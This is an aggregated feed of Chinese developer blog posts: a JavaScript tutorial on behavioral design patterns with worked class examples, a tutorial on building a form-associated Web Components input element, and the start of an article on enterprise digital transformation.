// 非终结符表达式 - 加法
class AddExpression extends Expression {
    constructor(left, right) {
      super()
      this.left = left  // 左操作数
      this.right = right // 右操作数
    }
    interpret(context) {
      return this.left.interpret(context) + this.right.interpret(context)
    }
}
// 非终结符表达式 - 减法
class SubtractExpression extends Expression {
    constructor(left, right) {
      super()
      this.left = left
      this.right = right
    }
    interpret(context) {
      return this.left.interpret(context) - this.right.interpret(context)
    }
}

4)客户端

构建表达式并调用解释器来计算结果

// 客户端代码
function evaluateExpression() {
    // 构建表达式树
    const expression = new AddExpression(
      new NumberExpression(5),
      new SubtractExpression(new NumberExpression(10), new NumberExpression(3))
    )
    // 执行计算
    const result = expression.interpret()
    console.log(`计算结果: ${result}`)  // 5 + (10 - 3) = 12
}

// 执行计算
evaluateExpression()

迭代器模式

迭代器模式提供一种方法顺序访问一个集合对象中的各个元素,而又不暴露该集合对象的内部表示


它的使用场景如下:

1)需要顺序访问集合中的元素:例如,遍历列表、队列、栈等容器中的元素

2)不想暴露集合的内部实现时

3)需要支持多种不同方式遍历集合:可以为集合对象提供多种不同的迭代器,支持不同的遍历策略


迭代器模式包括以下几个主要角色:

1)迭代器

定义了访问元素的接口,允许遍历集合中的元素

2)具体迭代器

实现迭代器接口,提供了遍历集合元素的具体方式

3)聚合接口

定义了创建迭代器的接口,通常会有一个createIterator()方法,用来返回一个迭代器对象

4)具体聚合类

实现聚合接口,返回一个具体的迭代器,通常是集合对象


通过以下这个例子来理解迭代器模式,使用迭代器模式来遍历书架上的书

1)定义迭代器接口

定义了迭代器的基本接口方法hasNext()next()

// 迭代器接口
class Iterator {
    hasNext() {
      throw new Error('必须实现 hasNext 方法')
    }
    next() {
      throw new Error('必须实现 next 方法')
    }
}

2)定义具体迭代器

实现了Iterator接口,提供了书架上书籍的遍历功能

hasNext()方法检查是否还有书籍,next() 方法返回当前书籍并将索引移到下一本书

// 具体迭代器
class BookIterator extends Iterator {
    constructor(bookShelf) {
      super()
      this.bookShelf = bookShelf
      this.index = 0 // 从第一个元素开始
    }
    hasNext() {
      return this.index < this.bookShelf.books.length
    }
    next() {
      if (this.hasNext()) {
        return this.bookShelf.books[this.index++]
      } else {
        return null
      }
    }
}

3)定义聚合接口

定义了聚合接口,声明了创建迭代器的方法

// 聚合接口
class Aggregate {
    createIterator() {
      throw new Error('必须实现 createIterator 方法')
    }
}

4)定义具体聚合类

具体的聚合类,实现了Aggregate接口,提供了书籍的存储和管理,并实现了createIterator()来返回一个具体的迭代器对象

// 具体聚合类 - 书架
class BookShelf extends Aggregate {
    constructor() {
      super()
      this.books = [] // 用于存储书籍
    }
    addBook(book) {
      this.books.push(book)
    }
    createIterator() {
      return new BookIterator(this)
    }
}

5)客户端

创建了一个BookShelf实例,添加了一些书籍,使用BookIterator来遍历这些书籍

// 客户端代码
function clientCode() {
    // 创建一个书架实例并添加一些书籍
    const bookShelf = new BookShelf()
    bookShelf.addBook("《设计模式》")
    bookShelf.addBook("《JavaScript红宝书》")
    bookShelf.addBook("《前端开发实践》")
  
    // 创建迭代器并遍历书架上的书籍
    const iterator = bookShelf.createIterator()
    
    while (iterator.hasNext()) {
      console.log(iterator.next()) // 输出书籍名称
    }
}

// 执行客户端代码
clientCode()

中介者模式

中介者模式通过定义一个中介者对象来封装一组对象之间的交互,这些对象之间不需要直接通信,而是通过中介者来协调它们的行为


它的使用场景如下:

1)多个对象之间需要协作:当系统中多个对象之间的交互比较复杂时

2)实现系统的解耦:特别适用于对象之间依赖关系较复杂的系统


中介者模式包含以下几个主要角色:

1)中介者

定义了一个接口,所有的通信都通过中介者进行,管理和协调各个同事对象之间的通信

2)具体中介者

实现了中介者接口,具体实现如何协调各个同事对象之间的交互

3)同事类

每个同事对象都知道中介者,并通过中介者来进行交互

4)具体同事类

继承同事类,定义了具体的行为,且通过中介者与其他同事类进行通信


通过以下这个聊天室系统来理解中介者模式,多个用户之间进行通信,使用中介者模式来管理用户之间的消息传递

1)定义中介者接口

定义了中介者接口,所有的通信都通过sendMessage()方法来完成

// 中介者接口
class Mediator {
    sendMessage(message, colleague) {
      throw new Error('sendMessage 方法必须实现')
    }
}

2)定义具体中介者

实现了Mediator接口,维护了一个用户列表,并负责转发消息给所有其他用户

// 具体中介者
class ChatRoomMediator extends Mediator {
    constructor() {
      super()
      this.users = []
    }
    addUser(user) {
      this.users.push(user)
    }
    sendMessage(message, colleague) {
      this.users.forEach(user => {
        // 除了发送消息的用户,其他用户都能接收到消息
        if (user !== colleague) {
          user.receiveMessage(message)
        }
      })
    }
}

3)定义同事类

每个用户对象通过中介者进行通信,它知道如何发送和接收消息,但不与其他用户直接交互

// 同事类
class User {
    constructor(name, mediator) {
      this.name = name
      this.mediator = mediator
    }
    sendMessage(message) {
      this.mediator.sendMessage(message, this)
    }
    receiveMessage(message) {
      console.log(`${this.name} 收到消息: ${message}`)
    }
}

4)客户端代码

创建一个ChatRoomMediator,并在其中添加多个用户。每个用户发送消息时,通过中介者转发给其他用户

// 客户端代码
function clientCode() {
    // 创建一个聊天室中介者
    const chatRoomMediator = new ChatRoomMediator()
  
    // 创建一些用户
    const user1 = new User('Alice', chatRoomMediator)
    const user2 = new User('Bob', chatRoomMediator)
    const user3 = new User('Charlie', chatRoomMediator)
  
    // 将用户添加到聊天室中介者中
    chatRoomMediator.addUser(user1)
    chatRoomMediator.addUser(user2)
    chatRoomMediator.addUser(user3)
  
    // 用户之间发送消息
    user1.sendMessage('Hello, everyone!')
    user2.sendMessage('Hi, Alice!')
    user3.sendMessage('Good morning, all!')
}

// 执行客户端代码
clientCode()

执行代码,运行结果如下:

备忘录模式

备忘录模式允许在不改变对象的内部结构的情况下,保存和恢复对象的状态


它的使用场景如下:

1)需要保存对象的某个状态:在特定情况下,系统中某些对象的状态可能需要保存,以便之后恢复,比如撤销操作

2)需要历史记录管理:当系统需要多次保存状态,并且支持恢复到某个历史状态时


备忘录模式包含以下几个主要角色:

1)发起人

负责创建备忘录对象,并通过备忘录对象存储自己的内部状态

2)备忘录

负责存储发起人的内部状态,该对象只能被发起人访问,防止外部类修改状态

3)管理者

负责管理备忘录对象,管理者不能修改备忘录的内容,只能将备忘录存储或恢复


通过以下这个文本管理器来理解备忘录模式,用户在编辑过程中可能需要撤销和恢复文本的内容,使用备忘录模式来保存文本的状态

1)定义发起人

保存文本内容并创建备忘录

// 发起人
class TextEditor {
    constructor() {
      this.text = ""
    }
    // 设置文本内容
    setText(text) {
      this.text = text
    }
    // 获取当前文本内容
    getText() {
      return this.text
    }
    // 创建一个备忘录对象,保存当前文本内容
    createMemento() {
      return new Memento(this.text)
    }
    // 恢复文本内容,从备忘录中读取
    restoreFromMemento(memento) {
      this.text = memento.getSavedText()
    }
}

2)定义备忘录

保存文本内容

// 备忘录类
class Memento {
    constructor(text) {
      this.text = text
    }
    // 获取保存的文本
    getSavedText() {
      return this.text
    }
}

3)定义管理者

负责保存和恢复备忘录

// 管理者类
class Caretaker {
    constructor() {
      this.mementos = []
    }
    // 保存备忘录
    saveMemento(memento) {
      this.mementos.push(memento)
    }
    // 恢复备忘录
    restoreMemento() {
      return this.mementos.pop()
    }
}

4)客户端

// 客户端代码
function clientCode() {
    const textEditor = new TextEditor()
    const caretaker = new Caretaker()
  
    // 用户输入文本
    textEditor.setText("Hello")
    console.log("当前文本:", textEditor.getText())
  
    // 保存当前文本状态
    caretaker.saveMemento(textEditor.createMemento())
  
    // 用户继续编辑
    textEditor.setText("Hello, World!")
    console.log("当前文本:", textEditor.getText())
  
    // 保存新的文本状态
    caretaker.saveMemento(textEditor.createMemento())
  
    // 用户继续编辑
    textEditor.setText("Hello, World! How are you?")
    console.log("当前文本:", textEditor.getText())
  
    // 恢复到之前的状态
    textEditor.restoreFromMemento(caretaker.restoreMemento())
    console.log("恢复到之前的状态:", textEditor.getText())
  
    // 再次恢复到更早的状态
    textEditor.restoreFromMemento(caretaker.restoreMemento())
    console.log("恢复到更早的状态:", textEditor.getText())
}

// 执行客户端代码
clientCode()

执行代码,运行结果如下:

观察者模式

观察者模式定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象,这个主题对象一旦发生变化,所有依赖于它的观察者都会自动收到通知并更新


它的使用场景如下:

1)事件驱动:当一个对象的状态变化需要通知多个对象时

2)实时系统:例如新闻订阅系统、天气预报系统等,需要将变化实时通知到所有相关的观察者


观察者模式包含以下几个主要角色:

1)主题

具有状态的对象,维护着一个观察者列表,并提供了添加、删除和通知观察者的方法

2)观察者

接收主题通知的对象,需要实现一个更新方法,当收到主题的通知时,调用该方法进行更新操作

3)具体主题

主题的具体实现类,维护着观察者列表,并在状态发生改变时通知观察者

4)具体观察者

观察者的具体实现类,实现了更新方法,定义了在收到主题通知时需要执行的具体操作


通过以下这个简单的天气预报系统来理解观察者模式,天气信息变化时,会通知所有注册的订阅者(观察者)来更新显示的信息

1)定义观察者接口

// 观察者接口
class Observer {
    update(weatherData) {
      throw new Error("update方法需要在子类中实现")
    }
}

2)定义主题类

负责管理观察者并通知它们

// 主题类
class WeatherStation {
    constructor() {
      this.observers = []  // 用来存储所有注册的观察者
      this.weatherData = null  // 存储天气数据
    }
    // 注册观察者
    addObserver(observer) {
      this.observers.push(observer)
    }
    // 注销观察者
    removeObserver(observer) {
      const index = this.observers.indexOf(observer)
      if (index !== -1) {
        this.observers.splice(index, 1)
      }
    }
    // 通知所有观察者
    notifyObservers() {
      for (let observer of this.observers) {
        observer.update(this.weatherData)
      }
    }
    // 更新天气数据,并通知观察者
    setWeatherData(data) {
      this.weatherData = data
      this.notifyObservers()
    }
}

3)定义具体观察类

定义WeatherAppWeatherWebsite两个具体的观察类,显示天气数据

// 具体的观察者类
class WeatherApp extends Observer {
    update(weatherData) {
      console.log(`WeatherApp: 当前天气是:${weatherData}`)
    }
}
class WeatherWebsite extends Observer {
    update(weatherData) {
      console.log(`WeatherWebsite: 当前天气是:${weatherData}`)
    }
}

4)客户端

// 客户端代码
function clientCode() {
    const weatherStation = new WeatherStation()
  
    // 创建观察者
    const app = new WeatherApp()
    const website = new WeatherWebsite()
  
    // 注册观察者
    weatherStation.addObserver(app)
    weatherStation.addObserver(website)
  
    // 发布新的天气数据
    console.log("设置天气为:晴天")
    weatherStation.setWeatherData("晴天")
  
    console.log("\n设置天气为: 雨天")
    weatherStation.setWeatherData("雨天")
  
    // 注销观察者
    weatherStation.removeObserver(website)
  
    console.log("\n设置天气为: 多云")
    weatherStation.setWeatherData("多云")
}
// 执行客户端代码
clientCode()

执行代码,运行结果如下:

状态模式

状态模式允许对象在内部状态改变时改变其行为,对象的行为取决于其当前的状态,该模式的关键是将对象的状态封装成独立的类,并让对象在内部根据状态来决定具体的行为, 可以避免使用大量的条件语句来实现状态切换


它的使用场景如下:

1)状态变化频繁:当一个对象的状态变化比较频繁时

2)状态依赖:当对象的行为取决于其状态时,状态模式可以避免使用大量的条件语句

3)行为变化:如果系统中一个对象的行为随着其状态变化而变化,可以使用状态模式让每个状态行为封装在不同的类中


状态模式包含以下几个主要角色:

1)上下文

负责维护当前的状态,并将客户端请求委托给当前状态对象

2)状态

定义了一个接口,用于封装与上下文相关的一个状态的行为

3)具体状态

实现状态接口的具体状态类,每个状态类封装了与该状态相关的行为


通过以下这个电梯控制系统来理解状态模式

1)定义状态接口

定义电梯的状态行为

// 抽象状态
class ElevatorState {
    handle() {
      throw new Error('handle方法必须在具体状态类中实现')
    }
}

2)定义具体状态类

电梯有正在运行、停止、故障三个状态

// 电梯正在运行状态
class RunningState extends ElevatorState {
    handle() {
      console.log('电梯正在运行...')
    }
  }
// 电梯停止状态
class StoppedState extends ElevatorState {
    handle() {
      console.log('电梯已停止...')
    }
}
// 电梯故障状态
class BrokenState extends ElevatorState {
    handle() {
      console.log('电梯出现故障,请维修...')
    }
}

3)定义电梯

负责维护当前状态

// 电梯类
class Elevator {
    constructor() {
      this.state = null
    }
    // 设置电梯状态
    setState(state) {
      this.state = state
    }
    // 请求电梯执行对应的状态行为
    request() {
      this.state.handle()
    }
}

4)客户端

function clientCode() {
    const elevator = new Elevator()
  
    // 电梯处于运行状态
    elevator.setState(new RunningState())
    elevator.request()  // 电梯正在运行...
  
    // 电梯停止
    elevator.setState(new StoppedState())
    elevator.request()  // 电梯已停止...
  
    // 电梯故障
    elevator.setState(new BrokenState())
    elevator.request()  // 电梯出现故障,请维修...
}

// 执行客户端代码
clientCode()

空对象模式

空对象模式用一个空对象替代 null 或空值对象,从而避免了在代码中出现null值的判断


它的使用场景如下:

1)避免空值判断:需要多次对对象进行null检查时

2)提供默认行为:如果对象不存在,可以使用空对象来提供默认行为,避免出现 null 的异常情况


空对象模式包含以下几个主要角色:

1)抽象对象

定义了对象的接口,空对象和正常对象都继承该接口

2)具体对象

继承了抽象对象接口,并实现了其具体的行为

3)空对象

实现了抽象对象接口,但所有方法都不会做任何事情,或者是做一些空的实现


通过以下这个购物车系统来理解空对象模式,Item对象表示购物车中的商品,如果某个商品不存在,传统的做法是检查该商品是否为null,而使用空对象模式时,我们可以用一个空的Item类来代替null,避免空检查

1)定义 Item 接口

表示购物车的商品

// 抽象类
class Item {
  getPrice() {
    throw new Error('getPrice方法必须在子类中实现')
  }
}

2)定义具体商品类

表示购物车中的实际商品

// 具体商品类
class RealItem extends Item {
    constructor(name, price) {
      super()
      this.name = name
      this.price = price
    }
    getPrice() {
      return this.price
    }
    getName() {
      return this.name
    }
}

3)定义空商品类

表示购物车中没有商品时的空对象

// 空商品类
class NullItem extends Item {
    getPrice() {
      return 0  // 空商品的价格为0
    }
    getName() {
      return '无商品'  // 空商品返回“无商品”
    }
}

4)定义购物车类

管理购物车中的商品

// 购物车类
class ShoppingCart {
    constructor() {
      this.items = []
    }
    // 添加商品到购物车
    addItem(item) {
      this.items.push(item)
    }
    // 获取购物车所有商品的总价格
    getTotalPrice() {
      return this.items.reduce((total, item) => total + item.getPrice(), 0)
    }
    // 获取购物车中所有商品的名称
    getItemsName() {
      return this.items.map(item => item.getName()).join(', ')
    }
}

5)客户端

function clientCode() {
    const cart = new ShoppingCart()
  
    // 创建一个真实的商品
    const item1 = new RealItem('苹果', 5)
    cart.addItem(item1)
  
    // 创建一个空商品,表示购物车中没有其他商品
    const item2 = new NullItem()
    cart.addItem(item2)
  
    console.log(`购物车商品: ${cart.getItemsName()}`)  // 购物车商品: 苹果, 无商品
    console.log(`购物车总价: ${cart.getTotalPrice()}元`)  // 购物车总价: 5元
}

// 执行客户端代码
clientCode()

策略模式

策略模式定义了一系列算法或策略,并将每个算法封装在独立的类中,可以在运行时根据需要选择不同的算法,而不需要修改客户端代码


它的使用场景如下:

1)当一个系统中有许多类,它们之间的区别仅在于它们的行为时


策略模式包含以下几个主要角色:

1)环境类

持有一个策略对象,并可以在运行时改变所使用的策略

2)策略接口

声明一个公共接口,不同的策略类都实现这个接口

3)具体策略类

实现策略接口,定义具体的算法


通过以下这个购物折扣策略来理解策略模式,电商平台需要根据不同的策略计算订单的折扣,不同的折扣策略包括:满减折扣、打折折扣和无折扣

1)定义策略接口

声明折扣计算的方法

// 策略接口
class DiscountStrategy {
    calculate(price) {
      throw new Error('calculate方法必须在具体策略类中实现')
    }
}

2)定义具体的折扣策略

// 满减折扣策略
class FullReductionDiscount extends DiscountStrategy {
    calculate(price) {
      if (price > 100) {
        return price - 20  // 满100减20
      }
      return price
    }
}
// 打折折扣策略
class PercentageDiscount extends DiscountStrategy {
    constructor(discount) {
      super()
      this.discount = discount  // 折扣比例
    }
    calculate(price) {
      return price * (1 - this.discount)  // 按照折扣比例计算折扣后价格
    }
}
// 无折扣策略
class NoDiscount extends DiscountStrategy {
    calculate(price) {
      return price  // 无折扣,价格不变
    }
}

3)定义上下文类

定义购物车类,持有折扣策略

// 购物车类
class ShoppingCart {
    constructor() {
      this.items = []
      this.discountStrategy = new NoDiscount()  // 默认无折扣策略
    }
    // 添加商品到购物车
    addItem(item) {
      this.items.push(item)
    }
    // 设置折扣策略
    setDiscountStrategy(strategy) {
      this.discountStrategy = strategy
    }
    // 计算总价格
    calculateTotalPrice() {
      let total = this.items.reduce((sum, item) => sum + item.price, 0)
      return this.discountStrategy.calculate(total)  // 使用策略计算折扣后的总价
    }
}

4)客户端

function clientCode() {
    const cart = new ShoppingCart()
  
    // 添加商品到购物车
    cart.addItem({ name: '商品1', price: 50 })
    cart.addItem({ name: '商品2', price: 80 })
  
    // 设置满减折扣策略
    cart.setDiscountStrategy(new FullReductionDiscount())
    console.log(`总价(满减策略): ${cart.calculateTotalPrice()}元`)  // 满100减20
  
    // 设置打折折扣策略
    cart.setDiscountStrategy(new PercentageDiscount(0.1))  // 10%折扣
    console.log(`总价(打折策略): ${cart.calculateTotalPrice()}元`)  // 10%折扣
  
    // 设置无折扣策略
    cart.setDiscountStrategy(new NoDiscount());
    console.log(`总价(无折扣策略): ${cart.calculateTotalPrice()}元`)  // 无折扣
  }

// 执行客户端代码
clientCode()

模板模式

模板模式定义了一个算法的框架,将一些步骤延迟到子类中。通过模板方法,子类可以重定义算法的某些特定步骤而无需改变算法的结构

模板模式通常用于一些固定的算法步骤,其中某些步骤是可以被子类实现的,而有些步骤是固定不变的


它的使用场景如下:

1)当一个算法的整体结构是固定的,但某些步骤的实现可能会有所不同

2)当有多个子类共享相同的算法框架时,可以通过模板方法将共同的部分抽取到父类中


模板模式包含以下几个主要角色:

1)抽象类

定义了一个模板方法,它包含了一些固定的算法步骤,并且将某些步骤定义为抽象方法,交由子类实现

2)具体类

实现了抽象类中定义的抽象方法,从而完成具体的算法步骤


通过以下制作咖啡和茶来理解模板模式,制作这两种饮品的流程类似,但其中某些步骤不同

1)定义抽象类

定义制作饮品的模板方法,模板方法定义了制作饮品的步骤

// 抽象类
class Drink {
    // 模板方法
    make() {
      this.boilWater()
      this.brew()
      this.pourInCup()
      this.addCondiments()
    }
    // 固定的步骤
    boilWater() {
      console.log("烧开水")
    }
    pourInCup() {
      console.log("倒入杯中")
    }
    // 可变的步骤,由子类实现
    brew() {
      throw new Error("抽象方法brew()必须在子类中实现")
    }
    addCondiments() {
      throw new Error("抽象方法addCondiments()必须在子类中实现")
    }
}

2)定义具体类(咖啡和茶)

// 具体类:制作咖啡
class Coffee extends Drink {
    brew() {
      console.log("冲泡咖啡")
    }
    addCondiments() {
      console.log("加入糖和牛奶")
    }
}
// 具体类:制作茶
class Tea extends Drink {
    brew() {
      console.log("泡茶")
    }
    addCondiments() {
      console.log("加入柠檬")
    }
}

3)客户端

function clientCode() {
    const coffee = new Coffee()
    console.log("制作咖啡:")
    coffee.make()  // 按照模板步骤制作咖啡
  
    console.log("\n制作茶:")
    const tea = new Tea()
    tea.make()  // 按照模板步骤制作茶
}
clientCode()

执行代码,运行结果如下:

访问者模式

访问者模式允许在元素结构内部定义一个操作,并且将该操作应用于不同类型的元素,而不需要改变元素的类本身


它的使用场景如下:

1)当需要对一个对象结构中的对象执行多种不同的且不相关的操作时,尤其是这些操作需要避免"污染"对象类本身


访问者模式包含以下几个主要角色:

1)访问者

定义访问元素的接口

2)具体访问者

实现访问者接口,提供对每个具体元素类的访问和相应操作

3)元素

定义一个接受访问者的方法

4)具体元素

实现元素接口,提供一个accept方法,允许访问者访问并操作

5)对象结构

定义了如何组装具体元素,如一个组合类


通过以下这个员工薪资处理来理解访问者模式,计算不同员工的薪资,在不改变员工类的情况下,增加不同类型的薪资计算方法

1)定义访问者接口

定义了对不同员工的操作

// 访问者接口
class IVisitor {
    visitManager(manager) {
      throw new Error("必须实现 visitManager")
    }
    visitDeveloper(developer) {
      throw new Error("必须实现 visitDeveloper")
    }
    visitDesigner(designer) {
      throw new Error("必须实现 visitDesigner")
    }
}

2)定义元素接口和具体元素

// 员工接口:定义接受访问者的方法
class Employee {
    accept(visitor) {
      throw new Error("必须实现 accept 方法")
    }
  }
// 经理类:具体员工类型
class Manager extends Employee {
    constructor(name, salary) {
      super()
      this.name = name
      this.salary = salary
    }
    accept(visitor) {
      visitor.visitManager(this)
    }
}
// 程序员类:具体员工类型
class Developer extends Employee {
    constructor(name, salary) {
      super()
      this.name = name
      this.salary = salary
    }
    accept(visitor) {
      visitor.visitDeveloper(this)
    }
}
// 设计师类:具体员工类型
class Designer extends Employee {
    constructor(name, salary) {
      super()
      this.name = name
      this.salary = salary
    }
    accept(visitor) {
      visitor.visitDesigner(this)
    }
}

3)定义具体访问者

// 具体访问者:薪资计算
class SalaryVisitor extends IVisitor {
    visitManager(manager) {
      console.log(`经理 ${manager.name} 的薪水是 ${manager.salary + 1000} 元`)
    }
    visitDeveloper(developer) {
      console.log(`程序员 ${developer.name} 的薪水是 ${developer.salary + 500} 元`)
    }
    visitDesigner(designer) {
      console.log(`设计师 ${designer.name} 的薪水是 ${designer.salary + 700} 元`)
    }
}

4)客户端

function clientCode() {
    // 创建不同的员工
    const manager = new Manager("John", 5000)
    const developer = new Developer("Alice", 4000)
    const designer = new Designer("Bob", 3000)

    // 创建薪资计算访问者
    const salaryVisitor = new SalaryVisitor()
  
    // 员工接受访问者,进行薪资计算
    manager.accept(salaryVisitor)
    developer.accept(salaryVisitor)
    designer.accept(salaryVisitor)
}
clientCode()

执行代码,运行结果如下:

by ZoeLandia at January 23, 2025 11:30 AM

Web components原生组件快速实战(一)

前言

Web Components 允许开发者创建可复用的自定义元素,由于是浏览器的原生组件,能够无缝对接到各种前端框架。 这个系列将介绍如何使用原生html+js+css开发 Web Components原生组件并作为组件库的一员使用 。

1.目录准备

我们的项目使用以下文件目录结构来组织UI组件库

ui-component/
├── component1/
│   └── component1.html
│   └── index.js
├── component2/
│   └── component2.html
│   └── index.js
└── index.js

其中,ui-component 是 UI 组件的根目录,下面的 component1component2 和 component3 是不同的 UI 组件目录,每个组件目录下的 index.js 文件包含该组件的js实现代码, html文件则是该组件的html模板。ui-component目录下的index.js 文件则是UI组件的导出文件。 如果是vue项目,可以在main.js中直接引入ui-component目录下的index.js,也可以打包成插件使用。

2. 第一个自定义组件--Input组件

第一个自定义组件就用input吧,最常的form元素之一。

ui-component下新建对应目录,userInput.html建立模板内容。(虽然简单的组件的html部分可以在js文件中直接拼接进去,但是复杂一点的组件需要一定的html和css,完全采用js中拼接字符串比较麻烦,所以抽取专门的模板文件)。

<style>
 .user-input{
     border: 0;
     border-bottom: 1px solid #D7D7D7;
     min-width: 30px;
     width: 100%;
     height: 26px;
     line-height: 26px;
     font-size: 14px;
 }
 .user-input:focus{
     outline: none;
     border-bottom: 1px solid #1296db;
 }
 </style>

<div><input type="text" class="user-input"/></div>

userInput.js下自定义组件,将userInput.html引入:

import templatePanel from './userInput.html'

const template = document.createElement('template')
template.innerHTML = templatePanel
export default class InputNumber extends HTMLElement {

static observedAttributes = ['name','value'];
constructor() {
  super();

    // 将userInput.html作为模板内容引入到自定义组件中
    this._shadowRoot.appendChild(template.content.cloneNode(true));
 }

static get observedAttributes() {
  return ['name','value'];
 }
    
attributeChangedCallback(name, oldValue, newValue) {
    
}

connectedCallback() {
    
 }
}
    
if (!customElements.get('user-input')) {
  // Register
  customElements.define('user-input', UserInput);
}

记得在index.js中导出userInput

import './userInput/userInput.js'

此时可以像正常html标签一样直接使用,如<user-Input></user-Input>,也可以在js文件中通过new userInput()创建一个自定义元素,然后通过dom方法append到对应元素下。

3.进一步扩展

此时一个简单的input组件已经可以使用了,但是作为组件库的一员,它还需要继续扩展如下功能:

  • 监听属性的变化,同步更新内容
  • 将元素标记为一个表单关联的自定义元素,能在form中像原生input一样使用
  • 对外抛出的事件

3.1监听属性变化

在 Web Components 里,我们可以借助 `observedAttributes` 静态方法与 `attributeChangedCallback` 生命周期方法来监听属性的变化。

observedAttributes :此方法返回一个数组,数组中的元素为需要监听的属性名。在上述示例中,return['name','value'] 表示要监听 'name','value' 属性的变化。

attributeChangedCallback : 当被监听的属性发生变化时,该方法会被调用。它接收三个参数:name(发生变化的属性名)、oldValue(属性的旧值)和 newValue(属性的新值)。比如当value值从外部改变时,需要修改对应dom中的值,这里为了避免每次都刷新dom的消耗,处理为值跟上一次不一样才更新dom。

attributeChangedCallback(name, oldValue, newValue) {
 // 当观察的属性发变化时调用
  if (newValue === oldValue && newValue !== 'undefined') {
    return;
  }
 if (name === 'value) {
   this.value= (newValue === "undefined" || newValue === undefined) ? "" : newValue;
   this._shadowRoot.querySelector(".user-input").value = this.value;
   }

}

3.2将元素标记为一个表单关联的自定义元素

代码如下

static formAssociated = true;
constructor() {
  ...
  this.value;
  this.value_;
  // 获得访问内部表单控件 API 的能力
  this.internals_ = this.attachInternals();
  this._shadowRoot = this.attachShadow({mode: 'open'});
  this._shadowRoot.appendChild(template.content.cloneNode(true));
}

// 表单控件通常暴露一个“value”属性
get value() {
  return this.value_;
}
set value(v) {
  this.value_ = v;
}

// 提供它们有助于确保与浏览器提供的控件保持一致。
get form() {
  return this.internals_.form;
}

3.3对外抛出的事件

当input组件的值变化时需要通知外面,这里我们正常监听input元素的input事件,blur事件和enter事件。 connectedCallback() 是在 custom element 首次被插入文档 DOM 时被调用的。这个回调函数通常用于执行一些初始化操作,比如添加事件监听器、请求数据等等。在这个时候,元素已经被添加到了文档中,可以访问到 DOM 和其他元素。

connectedCallback() {
  // 当元素被插入到DOM时调用
 
  // 监听输入值,失去焦点时触发handleChange
  this._shadowRoot.querySelector(".user-input").addEventListener('blur', this.handleChange);

  // 输入回车触发handleChange
  this._shadowRoot.querySelector(".user-input").addEventListener('keyup',this.handleEnter);

  this._shadowRoot.querySelector(".user-input").addEventListener('input', this.handleChange);
}
    
handleChange =(e) => {
this.value = e.target.value;
this.internals_.setFormValue(this.value_);
this.dispatchEvent(new UIEvent('change'));

}

此时<user-Input></user-Input>就可以像一个原生input一样使用,也可以在form表单中和原生的input一样获取值。 当然还可以继续扩展,比如表单中的验证规则,不同类型的input等等...这里就不继续展开了

by 银发仔 at January 23, 2025 11:24 AM

juejin career

新质生产力时代,企业如何走向数字原生?

导语 | 在如今的 AI 时代,企业如何借助数据赋能、智能优化和技术创新来促进新质生产力的发展,成为了管理者必须面对的核心挑战。为什么数字化转型的尽头是数字原生,企业又应该如何迈向数字原生?我们特邀了宸邦数据技术创始人、腾讯云 TVP 创始委员、河南数字经济产业创新研究院副院长、河南省数字经济产业协会智库专家 曾宪杰带来深入解读,共同探讨企业在数字化浪潮中如何行稳致远。

作者简介

图片

曾宪杰,宸邦数据技术创始人、河南数字经济产业创新研究院副院长、河南省数字经济产业协会智库专家。网名顶天,前蘑菇街资深副总裁。2002 年毕业于浙江大学计算机系,2007 年加入淘宝平台架构组,设计实现了淘宝自研的 Notify 消息系统,并参与淘宝其他中间件的相关工作,2010 年负责整个淘宝 Java 中间件团队,将团队打造成业内知名 Java 技术团队。2013 年担任淘宝技术部负责人,2015 年正式加入蘑菇街,负责整体技术工作,同时负责商业分析以及安全部的工作。在 2018 年公司上市的关键年份,负责了公司主要的 APP 的商城的运营工作。在大型系统架构方面有丰富经验,对新技术有浓厚的兴趣,著有《大型网站系统与 Java 中间件实践》一书。2020 年,他将自己在消费互联网领域的经验带回家乡——河南新乡,成立宸邦数据,专注于帮助企业进行数字化转型。

引言

新质生产力是创新起主导作用,摆脱传统经济增长方式、生产力发展路径,具有高科技、高效能、高质量特征,符合新发展理念的先进生产力质态。

新质生产力,创新当然是首要的,但基于数字化技术的创新无疑是其中的重要组成部分。生产要素的创新性配置也离不开数字化作为基础和平台来支撑其变化,包括我们产业的深度转型升级,也都与数字化息息相关。

那么,在数字化浪潮下,企业究竟该如何抓住机遇、突破困境?答案就在于“走向数字原生”。数字原生企业不仅是高质量发展的必由之路,更是未来企业竞争的制高点。

走向数字原生企业:高质量发展的必然选择

2020 年,我告别消费互联网,投身 ToB 领域,将消费互联网的丰富经验带回家乡——河南新乡,创立了宸邦数据,专注于帮助企业进行数字化转型。我坚信,数字化转型是企业高质量发展的重要路径,而构建数字原生企业是实现这一目标的关键。

早在 2018 年,IDC 提出了“数字原生企业” 的概念,用来描述那些原生于数字化的企业。现在,更多是以互联网为主的企业,围绕云原生技术建立公司,利用数据和人工智能,企业的核心价值创造和获取过程都依赖于数字技术。然而如果放眼全国,绝大部分企业并不是原生于数字的。因此,我们需要让自己的企业走向数字原生,变成数字原生企业。

站在企业的发展角度来看,由数字技术、数据要素以及用户、合作伙伴等因素构成的数字生态,是数字原生企业获得竞争优势的重要来源。很多企业虽然目前很成功,但在新的数字化浪潮下,不应仅仅满足于当前业务的成功,而应该考虑如何将自己的业务和数字化进行深度融合。 通过数字技术,用数据创造价值,建立自己的生态系统,让企业能够走得更长远、更稳。

对于很多企业来说,特别是对于绝大多数大型企业而言很难自己建立一个庞大且优秀的数字化团队,因此,一定需要内部有懂数字化的人才来解决经营管理和生产管理的问题,同时也需要数字化服务商的支持来与上下游以及终端消费者进行对接。

如何走向数字原生企业?数据孤岛不是终点

首先,随着技术的演进,使用技术的门槛在逐渐降低。这对于 CIO 们来说是一个利好消息,因为随着技术的不断发展,未来编程可能连特定的语言都不需要了。其次,从单机应用到云计算的演进也为我们提供了更多的可能性。再者,未来一定是互联网与智能技术无处不在的时代。

在走向数字原生企业的过程中,需要关注三个方面——自有系统、与外部的连接以及拥抱变化。 对于 “烟囱” 型系统来说,应该找到它的优点并加以利用,在构建系统时,也需要确保基础保障的安全性,以避免重复建设。

如果企业正面临 “数据孤岛” 问题,不用特别沮丧,因为,至少已经有了数据。虽然数据可能现在看起来乱七八糟,但有了数据,就是有了基础,就是有了走向未来的可能。

数据孤岛的形成,往往源于企业内部的 “烟囱” 型系统。 这些系统各自为政,数据无法流通,形成了孤岛。有些企业可能只有业务数据,连大数据处理的能力都没有;有些企业则过于封闭,只关注自己的系统和应用,忽视了与外部数据的连接。

那么,该如何解决数据孤岛的问题呢?

